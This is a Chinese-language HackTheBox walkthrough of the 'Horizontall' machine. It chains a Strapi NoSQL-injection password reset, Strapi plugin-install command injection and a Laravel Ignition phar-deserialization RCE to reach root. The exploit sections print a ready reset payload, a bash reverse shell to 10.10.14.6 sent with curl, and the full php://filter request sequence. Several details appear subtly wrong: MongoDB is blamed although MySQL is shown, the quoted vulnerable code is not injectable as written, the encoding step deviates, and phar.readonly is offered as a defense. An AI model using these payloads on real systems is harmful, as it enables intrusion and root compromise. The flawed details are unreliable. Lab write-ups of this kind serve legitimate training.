HackTheBox Horizontall 靶机渗透实战:从 Strapi NoSQL 注入到 Laravel Debug RCE 提权全过程
字数 3381
更新时间 2026-05-19 14:20:31

HackTheBox Horizontall 靶机渗透实战教学文档

靶机概述

Horizontall 是 HackTheBox 平台上一个难度为简单的 Linux 靶机,目标是通过渗透测试获取 user 和 root 权限。整个渗透路径涉及从外部侦察到最终提权的完整过程,核心技术点包括 Strapi CMS 的 NoSQL 注入漏洞利用、Laravel 框架的远程代码执行漏洞利用,以及横向移动和权限提升。

一、信息搜集

1. 端口扫描

目标IP:10.129.33.4(初始IP,后续变更为 10.129.33.165)

TCP全端口扫描结果

  • 22/tcp - OpenSSH 7.6p1 Ubuntu
  • 80/tcp - nginx/1.14.0 (Ubuntu)

服务指纹识别

  • 操作系统:Ubuntu 18.04(基于 OpenSSH 7.6p1 和 nginx 1.14.0 版本推断)
  • Web服务器:nginx/1.14.0
  • SSH服务:OpenSSH 7.6p1 Ubuntu 4ubuntu0.5

关键发现

  • 访问 80 端口时,HTTP响应头显示重定向到 http://horizontall.htb
  • 将域名添加到本地 hosts 文件:echo '10.129.33.4 horizontall.htb' | sudo tee -a /etc/hosts

2. TCP 80 端口分析

(1)horizontall.htb 主站

  • 页面源码显示前端基于 Vue.js 构建(favicon 暴露 Vue.js 图标)
  • 页面包含 <noscript> 标签提示需要启用 JavaScript
  • 加载的 JavaScript 文件:
    • /js/app.c68eb462.js
    • /js/chunk-vendors.0e02b89e.js

(2)api-prod.horizontall.htb 子域名

发现过程:通过检查 JavaScript 文件内容发现新的子域名,并添加到 hosts 文件

关键信息

  • HTTP响应头暴露 CMS 信息:strapi(一个开源的 Headless CMS)
  • 安全头部信息:
    • Strict-Transport-Security:强制 HTTPS
    • X-Frame-Options: SAMEORIGIN
    • X-XSS-Protection: 1; mode=block
    • Content-Security-Policy: img-src 'self' data:

目录枚举发现

  • /admin/ 目录存在,但需要认证
  • 访问 /admin 重定向到 /admin/auth/login
  • /admin/init 端点获取到 Strapi 版本:3.0.0-beta.17.4

用户信息收集
/reviews 端点发现三个用户名(可能为系统用户):

  • 具体用户名在文档中未明确列出

二、Strapi Shell 获取

1. CVE-2019-18818 漏洞利用

漏洞类型:NoSQL 注入
影响版本:Strapi 3.0.0-beta.17.4
权限要求:无(PR:N - 无需任何权限)

漏洞原理

  • 密码重置功能中的 code 参数未正确验证
  • 利用 MongoDB 的 NoSQL 注入特性,通过 {"$gt": 0} 等操作符绕过验证
  • 漏洞位于 admin/controllers/Auth.jschangePassword 函数

利用步骤

# 构造密码重置请求
POST /admin/auth/reset-password HTTP/1.1
Content-Type: application/json

{
  "code": {"$gt": 0},
  "password": "newpassword",
  "passwordConfirmation": "newpassword"
}

结果

  • 成功重置管理员密码
  • 获取 JWT 令牌用于后续认证

2. CVE-2019-19606 漏洞利用

漏洞类型:远程代码执行
影响版本:Strapi 3.0.0-beta.17.4
权限要求:管理员权限

漏洞原理

  • 插件安装功能中的 plugin 参数未正确过滤
  • 通过命令注入实现 RCE
  • 漏洞位于 admin/services/plugin.jsinstall 函数

关键代码

// 漏洞代码
const { plugin } = ctx.request.body;
execa('npm', ['run', 'setup', '--', plugin]);

修复方式

  • 添加输入验证,过滤特殊字符

3. 获得 Shell

步骤

  1. 获取本地 IP
ip addr show tun0 | grep inet
  1. 生成反弹 Shell 命令
    使用 Reverse Shell Generator 生成,注意使用 sh 兼容语法:
sh -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'
  1. 本地监听
nc -lvnp 4444
  1. 执行 RCE
# 构造 JSON 请求
{
  "plugin": "$(sh -c 'bash -i >& /dev/tcp/10.10.14.6/4444 0>&1')"
}

# 发送请求(包含管理员 JWT)
curl -X POST http://api-prod.horizontall.htb/admin/plugins/install \
  -H "Authorization: Bearer <jwt_token>" \
  -H "Content-Type: application/json" \
  -d '{"plugin":"$(sh -c '\''bash -i >& /dev/tcp/10.10.14.6/4444 0>&1'\'')"}'
  1. Shell 稳定化
# 确认 Python 存在
which python3

# 升级到 TTY shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 后台挂起并设置终端
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

4. User Flag

位置/home/developer/user.txt

三、Root Shell 提权

1. 内网信息搜集

端口扫描(内部视角)

# 查看本地监听端口
ss -tlnp

发现服务

  • 22/tcp: SSH
  • 80/tcp: nginx
  • 1337/tcp: strapi (CMS后端)
  • 3306/tcp: MySQL数据库
  • 8000/tcp: 未知服务(本地访问)

8000 端口服务识别

curl http://localhost:8000
  • 服务:PHP 7.4.22
  • 框架:Laravel V8
  • 重要发现:调试模式开启,暴露 /vendor/ignition/health-check 路由

建立持久访问

# 本地生成 SSH 密钥
ssh-keygen -t rsa

# 靶机上配置 SSH 公钥
mkdir -p ~/.ssh
echo "ssh-rsa AAAA..." > ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

设置 SOCKS5 代理

# 靶机开启代理
ssh -D 1080 developer@horizontall.htb

# 本地配置 proxychains
vim /etc/proxychains.conf
# 添加:socks5 127.0.0.1 1080

2. CVE-2021-3129 漏洞利用

漏洞影响

  • Laravel < 8.4.2
  • Ignition < 2.5.2
  • 需要开启调试模式

漏洞原理

  • MakeViewVariableOptionalSolution 类中的 viewFile 参数未过滤
  • 支持 php://filter 包装器
  • 通过日志文件写入 PHAR 数据并反序列化

利用步骤

(1)验证调试模式

访问 /vendor/ignition/health-check 返回健康检查信息,确认调试模式开启。

(2)漏洞利用过程

① 清空日志文件

# 日志文件路径
/var/www/html/storage/logs/laravel.log

# 构造清空请求
POST /_ignition/execute-solution HTTP/1.1
Content-Type: application/json

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "php://filter/write=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
  }
}

原理:三层 base64 解码,清空日志文件内容。

② 写入 Padding(AA)

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "AA"
  }
}

作用:对齐 base64 解码起始位置。

③ 生成 PHAR Payload

# 使用 phpggc 生成
git clone https://github.com/ambionics/phpggc.git
cd phpggc
./phpggc Laravel/RCE1 "id" -b > payload.txt

# 处理 payload
cat payload.txt | base64 -w0 | sed 's/./&=/g' | sed 's/=$//' > payload_encoded.txt

④ 注入 PHAR 数据

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "=<encoded_phar_data>"
  }
}

⑤ 解码还原 PHAR

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
  }
}

⑥ 触发反序列化

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "viewFile": "phar:///var/www/html/storage/logs/laravel.log"
  }
}

对齐问题处理
如果签名校验失败,需要在 payload 末尾添加 padding:

# 在编码后的 payload 末尾添加 =00
<encoded_payload>=00

重复执行直到成功。

(3)自动化利用脚本

使用现有 Exp 脚本:

import requests
import sys

proxies = {
    'http': 'socks5h://127.0.0.1:1080',
    'https': 'socks5h://127.0.0.1:1080'
}

# 或者设置环境变量
# export HTTP_PROXY="socks5h://127.0.0.1:1080"
# export HTTPS_PROXY="socks5h://127.0.0.1:1080"

成功迹象

  • 命令执行成功输出
  • Laravel 服务以 root 权限运行
  • 可直接读取 /root/root.txt

四、其他提权方法

文档中提到的替代方案:PwnKit 漏洞(CVE-2021-4034)

漏洞信息

  • 影响版本:pkexec(polkit)在 2009 年 5 月首次引入的所有版本
  • 本地权限提升漏洞
  • 在靶机环境中可能存在但未在本次渗透中直接使用

关键技术总结

1. 信息搜集要点

  • 全面的端口和服务识别
  • 子域名发现和虚拟主机识别
  • 版本信息精确获取
  • 框架和组件识别

2. 漏洞链构建

  1. 外部突破:Strapi NoSQL 注入(CVE-2019-18818)
  2. 权限提升:Strapi RCE(CVE-2019-19606)
  3. 横向移动:内网服务发现
  4. 权限提升:Laravel RCE(CVE-2021-3129)

3. 高级技术点

  • NoSQL 注入利用:MongoDB 查询操作符绕过
  • PHP Stream Wrappers 利用:php://filter 协议处理
  • PHAR 反序列化攻击:通过日志文件注入
  • 编码绕过技术:UTF-16LE 和 Quoted-Printable 编码组合
  • 调试模式利用:Ignition 组件漏洞利用

4. 防御建议

  • 及时更新框架和组件版本
  • 生产环境禁用调试模式
  • 实施严格的输入验证
  • 使用最小权限原则运行服务
  • 定期进行安全审计和漏洞扫描

文档未详述但基于知识补充

  1. Strapi 密码重置漏洞的详细修复方案是将 code 参数强制转换为字符串
  2. PHAR 反序列化攻击的防御需要禁用 phar:// 包装器或在 php.ini 中设置 phar.readonly = On
  3. Laravel 调试模式应在生产环境中通过设置 APP_DEBUG=false 来禁用
相似文章
相似文章
 全屏